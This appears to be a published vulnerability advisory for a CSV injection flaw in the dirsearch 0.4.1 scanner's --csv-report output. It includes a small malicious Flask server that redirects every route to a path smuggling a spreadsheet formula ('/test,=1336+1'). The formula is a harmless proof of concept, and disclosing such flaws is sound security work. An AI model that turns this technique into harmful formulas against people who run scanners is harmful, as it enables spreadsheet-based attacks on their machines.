Dirsearch 0.4.1 – CSV Injection

Dirsearch 0.4.1 suffers from a CSV Injection vulnerability when against a configured server.

# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

"""
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def index():
 return redirect('/test,=1336+1')

@app.route('/admin')
def admin():
 return redirect('/test,=1336+1')

@app.route('/login')
def login():
 return redirect('/test,=1336+1')
"""
